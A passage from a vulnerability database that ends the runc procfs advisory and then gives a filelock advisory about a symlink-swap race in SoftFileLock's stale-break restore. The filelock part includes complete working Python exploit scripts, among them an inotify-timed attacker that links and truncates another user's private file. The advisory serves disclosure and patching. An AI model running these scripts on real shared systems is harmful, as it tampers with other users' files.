https://github.com/opencontainers/selinux/pull/237 for the upstream patch.\n * 3f925525b44d (\"rootfs: re-allow dangling symlinks in mount targets\")\n * a41366e74080 (\"openat2: improve resilience on busy systems\")\n\nrunc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per [runc\u0027s new release model][RELEASES.md], runc 1.1.x and earlier are no longer supported and thus have not been patched.\n\n[CVE-2025-31133]: https://github.com/opencontainers/runc/security/advisories/GHSA-9493-h29p-rfm2\n[CVE-2025-52565]: https://github.com/opencontainers/runc/security/advisories/GHSA-qw9x-cqr3-wc7r\n[CVE-2025-52881]: https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm\n[RELEASES.md]: https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md\n\n### Mitigations ###\n\n * Do not run untrusted container images from unknown or unverified sources.\n\n * For the basic no-op attack, this attack allows a container process to run with the same LSM labels as `runc`. For most AppArmor deployments this means it will be `unconfined`, and for SELinux it will likely be `container_runtime_t`. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup.\n\n * For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including `/proc/sysrq-trigger`) and so LSMs likely do not provide much protection against these attacks.\n\n * Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the `runc` process is executing as cannot write to the aforementioned procfs files (even intentionally).\n\n### Other Runtimes ###\n\nAs this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability.\n\nBased on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host\u0027s `/proc` for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container\u0027s procfs to avoid CVE-2016-9962-style attacks).\n\n[CVE-2016-9962]: https://seclists.org/fulldisclosure/2017/Jan/21\n\n### Credits ###\n\nThanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and T\u00f5nis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions.\n\nAdditional thanks go to T\u00f5nis Tiigi for finding some very useful exploit templates for these kinds of race attacks using `docker buildx build`.",
  "id": "GHSA-cgrx-mc8f-2prm",
  "modified": "2025-11-18T18:38:01Z",
  "published": "2025-11-05T18:40:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-qw9x-cqr3-wc7r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-fh74-hm69-rqjw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/security/advisories/GHSA-9493-h29p-rfm2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52881"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/selinux/pull/237"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/ff94f9991bd32076c871ef0ad8bc1b763458e480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/ff6fe1324663538167eca8b3d3eec61e1bd4fa51"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/fdcc9d3cad2f85954a241ccb910a61aaa1ef47f3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/ed6b1693b8b3ae7eb0250a7e76fc888cdacf98c1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/db19bbed5348847da433faa9d69e9f90192bfa64"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/d61fd29d854b416feaaf128bf650325cd2182165"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/d40b3439a9614a86e87b81a94c6811ec6fa2d7d2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/b3dd1bc562ed9996d1a0f249e056c16624046d28"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/a41366e74080fa9f26a2cd3544e2801449697322"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/77d217c7c3775d8ca5af89e477e81568ef4572db"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/77889b56db939c323d29d1130f28f9aea2edb544"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/6fc191449109ea14bb7d61238f24a33fe08c651f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/4b37cd93f86e72feac866442988b549b5b7bf3e6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/44a0fcf685db051c80b8c269812bb177f5802c58"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/435cc81be6b79cdec73b4002c0dae549b2f6ae6d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/commit/3f925525b44d247e390e529e772a0dc0c0bc3557"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/tGseJW_uBB8"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/github.com/cyphar/filepath-securejoin/pathrs-lite/procfs"
    },
    {
      "type": "WEB",
      "url": "https://youtu.be/y1PaBzxwRWQ"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/selinux/releases/tag/v1.13.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opencontainers/runc"
    },
    {
      "type": "WEB",
      "url": "http://github.com/opencontainers/runc/commit/a41366e74080fa9f26a2cd3544e2801449697322"
    },
    {
      "type": "WEB",
      "url": "http://github.com/opencontainers/runc/commit/fdcc9d3cad2f85954a241ccb910a61aaa1ef47f3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "runc container escape and denial of service due to arbitrary write gadgets and procfs write redirects"
}

GHSA-CRV4-6MHJ-J5JH

Vulnerability from github – Published: 2026-10-23 22:00 – Updated: 2026-10-23 22:00
VLAI
Summary
filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory
Details

When a soft-lock stale break finds that the marker (the lock file at <path>) it renamed aside was a live one recreated by a successor, the restore branch of break_lock_file() checks the break name with lstat (a check that reads a name without following a symbolic link) and then calls os.link(break_path, lock_file) by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.

The SoftFileLock, MarkerSoftFileLock, SoftFileLease or lifetime break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that fs.protected_hardlinks (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later FileLock of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding ANT-2026-SB29HIAL).

Severity

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).

AV:L (local): the other user needs an account on the same host. AC:H (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). PR:L (low privileges): an unprivileged account is enough. UI:N (no user interaction): the lock user's process acts on its own. C:L (low confidentiality impact): the file's metadata through the new name, not its content. I:H (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own FileLock truncated the 17-byte private file to 0 bytes and, with a permissive mode, would have changed its mode too. A:N (no availability impact): the lock keeps working.

Classification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when lstat runs, not one swapped in after it.

Scope and preconditions

  • The other user can write the lock directory, and it has no sticky bit: a 0777 or group-writable cache or project directory. In a root-owned 1777 directory the unprivileged lock user cannot rename the other user's marker and only waits. In a 1777 directory the lock user owns, fs.protected_symlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the link fail with EACCES (permission denied). Testing showed no effect in sticky directories.
  • The interpreter's os.link follows symbolic links. CPython 3.14 on Linux issues linkat(..., AT_SYMLINK_FOLLOW). CPython 3.11 issues link(2), which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS link(2) follows (confirmed in our review on macOS 27.0.1: a plain os.link of a symbolic link gave the target st_nlink 2, that is two names).
  • The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.
  • Every soft-lock path reaches the branch: SoftFileLock, MarkerSoftFileLock, SoftFileLease and the lifetime break. The native FileLock does not, but it is the consumer that turns the planted link into a truncation.

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.

Affected code

At the scanned commit b831496, the restore branch of break_lock_file runs for SoftFileLock._try_break_stale_lock, MarkerSoftFileLock, SoftFileLease and the lifetime break. The truncation in UnixFileLock._finalize_locked_fd is what a later native lock on the planted name did to the file (reported in its own advisory).

Introduced

fc73fc51e137 ("fix(soft): restore a live marker a stale break moved aside", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.

Mechanism

# src/filelock/_util.py:115-122
break_path: Final[str] = f"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}"
Path(lock_file).rename(break_path)
if (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:
    Path(break_path).unlink()
elif stat.S_ISREG(st_after.st_mode) and _HAS_LINK:  # pragma: needs hard-link
    with suppress(FileExistsError):
        os.link(break_path, lock_file)
        Path(break_path).unlink()

The S_ISREG test (is it a regular file) is about what lstat saw on line 117, not about what link resolves on line 121. The docstring says the code must not put a symbolic link back "because link would follow a symlink to its target", and the test at the scanned commit names the consequence ("publish the victim file's inode at the lock path"), but that test only covers a symbolic link that is already there when lstat runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass follow_symlinks=False where the runtime honours it; this one does not. An strace (a tool that logs a process's system calls) on CPython 3.14.8 shows os.link(a, b) as linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW).

The other user plays both the stale holder and the "successor" the branch exists for:

  1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and _exits). The lock user's _try_break_stale_lock() reads it and owner_is_stale() agrees, so break_lock_file() renames it to app.lock.break.<pid>.<token>. In a directory without the sticky bit the lock user may rename a file it does not own.
  2. The other user still owns that file and gives it a newer mtime (modification time) after the lstat on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.
  3. The other user renames a symbolic link to the lock user's private file over the break name.
  4. Line 121 resolves the link with the lock user's credentials, so app.lock becomes a second hard link to the private file. Line 122 removes the symbolic link.

The other user's own os.link() on the private file fails with EACCES (it cannot enter the 0700 directory). On a file of the lock user it can reach, fs.protected_hardlinks=1 answers EPERM (operation not permitted). The lock user would evict the odd "marker" after MALFORMED_LOCK_AGE_THRESHOLD (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the lstat on line 113 and the one on line 117 (half of it the rename), and about 2 µs between line 117 and the os.link() call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.

Reproduction

The scanner's reproducer for finding ANT-2026-SB29HIAL, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys

sys.stdout.reconfigure(line_buffering=True)

SHARED_DIR = "/tmp/shared-locks"
LOCK_PATH = SHARED_DIR + "/app.lock"
PRIVATE_DIR = "/home/victim/private"
KEY_PATH = PRIVATE_DIR + "/signing.key"
AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": []}
AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": []}
# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before
# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).
SLOWED_DOWN = ["strace", "-o", "/dev/null", "-P", LOCK_PATH, "-e", "trace=rename,linkat"]
SLOWED_DOWN += ["-e", "inject=rename:delay_exit=2000000", "-e", "inject=linkat:delay_enter=2000000"]

# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit
shutil.rmtree(PRIVATE_DIR, ignore_errors=True)
os.mkdir(PRIVATE_DIR, 0o700)
with open(KEY_PATH, "w") as key_file:
    key_file.write("0123456789abcdef\n")
os.chmod(KEY_PATH, 0o600)
shutil.chown(PRIVATE_DIR, "victim", "victim")
shutil.chown(KEY_PATH, "victim", "victim")
shutil.rmtree(SHARED_DIR, ignore_errors=True)
os.mkdir(SHARED_DIR)
os.chmod(SHARED_DIR, 0o777)
key_before = os.stat(KEY_PATH)
print(f"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}")
for knob in ("protected_hardlinks", "protected_symlinks"):
    print(f"fs.{knob} =", open(f"/proc/sys/fs/{knob}").read().strip())

# control: the attacker cannot give the key a name in the shared directory by itself
link_by_attacker = f"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})"
control = subprocess.run([sys.executable, "-c", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)
print("CONTROL the attacker's own link() of the key:", control.stderr.strip().splitlines()[-1])

# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name
subprocess.run([sys.executable, "/tmp/repro.d/plant_stale_marker.py", LOCK_PATH], check=True, **AS_ATTACKER)
attacker = subprocess.Popen([sys.executable, "/tmp/repro.d/swap_break_name.py", LOCK_PATH, KEY_PATH], **AS_ATTACKER)
victim_job = [*SLOWED_DOWN, sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH]
subprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)
assert attacker.wait(timeout=30) == 0, "the attacker did not get through its steps"

# check, as root: does the key now have a name in the shared directory?
key_after = os.stat(KEY_PATH)
names_of_the_key = [
    name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f"{SHARED_DIR}/{name}"))
]
print(f"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}")

if names_of_the_key:
    # what that name is good for: another program of the victim takes a FileLock there, which truncates the file
    shared_name = f"{SHARED_DIR}/{names_of_the_key[0]}"
    victim_other_job = [sys.executable, "/tmp/repro.d/victim_other_job.py", shared_name]
    subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)
    print(f"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})")

print("BUG" if control.returncode != 0 and names_of_the_key else "OK")

repro.d/plant_stale_marker.py

import os
import sys

from filelock import SoftFileLock

# a genuine marker of a holder that died: a child takes the lock and exits without releasing it
if (child := os.fork()) == 0:
    holder = SoftFileLock(sys.argv[1])  # kept referenced: a collected lock releases itself
    holder.acquire()
    os._exit(0)
os.waitpid(child, 0)
print("attacker: left", sys.argv[1], "held by pid", child, "which has exited", flush=True)

repro.d/swap_break_name.py

import glob
import os
import sys
import time

lock_path, key_path = sys.argv[1:]
kept_path = os.path.join(os.path.dirname(lock_path), "other.lock")

# the victim judged the marker stale and renamed it to <lock>.break.<pid>.<random>; anyone can list the directory
deadline = time.monotonic() + 30
while not (break_paths := glob.glob(lock_path + ".break.*")):
    assert time.monotonic() < deadline, "the victim never moved the marker aside"
    time.sleep(0.01)
[break_path] = break_paths
print("attacker: the victim renamed the marker to", os.path.basename(break_path), flush=True)

# still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it
os.utime(break_path)

time.sleep(3)  # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link
os.symlink(key_path, lock_path + ".symlink")
os.rename(lock_path + ".symlink", break_path)
print("attacker: replaced", os.path.basename(break_path), "with a symlink to", key_path, flush=True)

# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name
deadline = time.monotonic() + 5
while not os.path.lexists(lock_path) and time.monotonic() < deadline:
    time.sleep(0.01)
try:
    os.rename(lock_path, kept_path)
    print("attacker: renamed", os.path.basename(lock_path), "to", kept_path, flush=True)
except FileNotFoundError:
    print("attacker: the victim linked nothing at", os.path.basename(lock_path), flush=True)

repro.d/unpaused_attacker.py

#!/usr/bin/env python3
"""Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses."""
import ctypes
import os
import random
import struct
import sys
import time

from filelock import SoftFileLock

lock_path, victim_file, kept_name = sys.argv[1:]
os.chdir(os.path.dirname(lock_path))
lock_name = os.path.basename(lock_path).encode()
IN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80


def spin(microseconds):
    until = time.perf_counter() + microseconds / 1e6
    while time.perf_counter() < until:
        pass


# The bytes of a genuine marker of a dead process.
if os.fork() == 0:
    crashed_holder = SoftFileLock(lock_path)
    crashed_holder.acquire()
    os._exit(0)
os.wait()
with open(lock_name, "rb") as marker_file:
    stale_marker = marker_file.read()
os.unlink(lock_name)

libc = ctypes.CDLL(None)
inotify = libc.inotify_init1(IN_NONBLOCK)
libc.inotify_add_watch(inotify, b".", IN_MOVED_TO)
marker_mtime = 1_000_000_000
lock_cycles = 0
while True:
    lock_cycles += 1
    os.symlink(victim_file, b"symlink")
    marker = os.open(b"staged", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)
    os.write(marker, stale_marker)
    os.utime(marker, (marker_mtime, marker_mtime))
    marker_watch = libc.inotify_add_watch(inotify, b"staged", IN_CLOSE_NOWRITE)
    while True:  # plant it as soon as the victim has released the lock
        try:
            os.link(b"staged", lock_name)
            break
        except FileExistsError:
            pass
    os.unlink(b"staged")

    break_name = None
    while break_name is None:
        try:
            events = os.read(inotify, 4096)
        except BlockingIOError:
            continue
        while events and break_name is None:
            _, mask, _, name_length = struct.unpack_from("iIII", events)
            name = events[16 : 16 + name_length].rstrip(b"\0")
            events = events[16 + name_length :]
            if mask & IN_CLOSE_NOWRITE:
                # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes
                # before that lstat only makes the victim start over on its next poll.
                spin(random.uniform(40, 100))
                marker_mtime += 1
                os.utime(marker, (marker_mtime, marker_mtime))
            elif name.startswith(lock_name + b".break."):
                # The victim has renamed the marker and is about to lstat the break name and link it back.
                os.rename(b"symlink", name)
                break_name = name
    libc.inotify_rm_watch(inotify, marker_watch)
    os.close(marker)

    time.sleep(0.001)
    try:
        at_lock_path = os.lstat(lock_name)
        if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:
            os.rename(lock_name, kept_name)
            print(f"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:", at_lock_path)
            break
    except FileNotFoundError:
        pass
    for leftover in (b"symlink", break_name):
        if os.path.lexists(leftover):
            os.unlink(leftover)
    try:
        os.read(inotify, 65536)
    except BlockingIOError:
        pass

repro.d/unpaused_victim.py

#!/usr/bin/env python3
"""Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody."""
import sys
import time

from filelock import SoftFileLock

lock = SoftFileLock(sys.argv[1])
while True:
    with lock:
        time.sleep(0.005)
    time.sleep(0.005)

repro.d/victim_job.py

import sys

from filelock import SoftFileLock

with SoftFileLock(sys.argv[1]):
    print("victim: holds", sys.argv[1], flush=True)

repro.d/victim_other_job.py

import sys

from filelock import FileLock

with FileLock(sys.argv[1]):
    print("victim: holds", sys.argv[1], flush=True)

Attack sequence

sequenceDiagram
    participant X as other local user (uid 1001)
    participant D as /tmp/shared-locks (0777, not sticky)
    participant V as SoftFileLock of the lock user (uid 1000)
    participant K as ~victim/private/signing.key (0600 in a 0700 dir)
    X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X
    V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*
    rect rgb(255, 214, 214)
        X->>D: inotify sees the rename: utime the break file (newer mtime)
        V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker
        X->>D: rename a symbolic link to signing.key over the break name
        V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file
        X->>D: rename app.lock to other.lock before the 2 s eviction
        Note over V,K: the lock user's FileLock("other.lock") on 4.2.0 truncates the file to 0 bytes
    end

Evidence

The scanner's reproducer takes about 5 s and is deterministic. Root creates /home/victim/private (0700) with signing.key (17 bytes, 0600) and /tmp/shared-locks (0777, no sticky bit), with fs.protected_hardlinks = 1 and fs.protected_symlinks = 1. In the control step, the attacker account runs os.link(key, /tmp/shared-locks/by-attacker) and gets Permission denied. Then the attacker child leaves app.lock held by pid 253 which has exited. The victim account runs with SoftFileLock(path) under strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000, which holds it 2 s after its rename() and 2 s before its linkat() without changing any call. The attacker account bumps the break file, swaps in the symbolic link, and renames app.lock to other.lock.

The result line reads signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock'], and after the victim account's second program takes FileLock('/tmp/shared-locks/other.lock'), size=0. Verdict BUG. The unpaused variant (unpaused_victim.py looping on the lock, unpaused_attacker.py timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).

Our review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain os.link of a symbolic link follows it (target st_nlink 2) while follow_symlinks=False links the symbolic link itself, which confirms the report's macOS note.

Impact

A local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what fs.protected_hardlinks exists to deny, a name it can move around for someone else's file.

Whatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. UnixFileLock._finalize_locked_fd() ran os.ftruncate(fd, 0) on whatever regular file O_NOFOLLOW let it open. The other user moved the link to other.lock, the lock user took FileLock("other.lock"), and the 17-byte private file became 0 bytes. The other user can also move the link into sticky /tmp on the same filesystem before the lock user locks it there, and a FileLock with a permissive mode such as 0o666 applied that mode to the private file too, after which the other user could write its content.

On its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.

Workarounds

Keep soft locks out of directories other users can write without the sticky bit; a 0700 directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native FileLock on a name another user controls.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/843

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (finding ANT-2026-SB29HIAL, scanned commit b831496b0273; related earlier-public work: #786)
  • 2026-10-16 01:42 UTC: fix PR #843 opened
  • 2026-10-16 05:38 UTC: draft advisory created
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.0"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T22:00:11Z",
    "nvd_published_at": "2026-10-20T15:17:15Z",
    "severity": "MODERATE"
  },
  "details": "When a soft-lock stale break finds that the marker (the lock file at `\u003cpath\u003e`) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file\u0027s owner rename or remove it) replaces the break name with a symbolic link between those two calls.\n\nThe `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user\u0027s own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file\u0027s size, times, mode and owner, keeps the inode (the kernel\u0027s identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock \u003e= 4.1.0 and \u003c= 4.2.0 (finding `ANT-2026-SB29HIAL`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user\u0027s process acts on its own. `C:L` (low confidentiality impact): the file\u0027s metadata through the new name, not its content. `I:H` (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user\u0027s own `FileLock` truncated the 17-byte private file to 0 bytes and, with a permissive `mode`, would have changed its mode too. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when `lstat` runs, not one swapped in after it.\n\n## Scope and preconditions\n\n- The other user can write the lock directory, and it has no sticky bit: a `0777` or group-writable cache or project directory. In a root-owned `1777` directory the unprivileged lock user cannot rename the other user\u0027s marker and only waits. In a `1777` directory the lock user owns, `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user\u0027s symbolic link in a world-writable sticky directory) makes the `link` fail with `EACCES` (permission denied). Testing showed no effect in sticky directories.\n- The interpreter\u0027s `os.link` follows symbolic links. CPython 3.14 on Linux issues `linkat(..., AT_SYMLINK_FOLLOW)`. CPython 3.11 issues `link(2)`, which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS `link(2)` follows (confirmed in our review on macOS 27.0.1: a plain `os.link` of a symbolic link gave the target `st_nlink` 2, that is two names).\n- The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.\n- Every soft-lock path reaches the branch: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` and the `lifetime` break. The native `FileLock` does not, but it is the consumer that turns the planted link into a truncation.\n\nfilelock\u0027s checks against another local user hold only when no other user can replace the lock\u0027s directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.\n\n## Affected code\n\nAt the scanned commit b831496, the restore branch of [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L122) runs for [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81), [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) and the [`lifetime` break](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1576-L1588). The truncation in [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) is what a later native lock on the planted name did to the file (reported in its own advisory).\n\n## 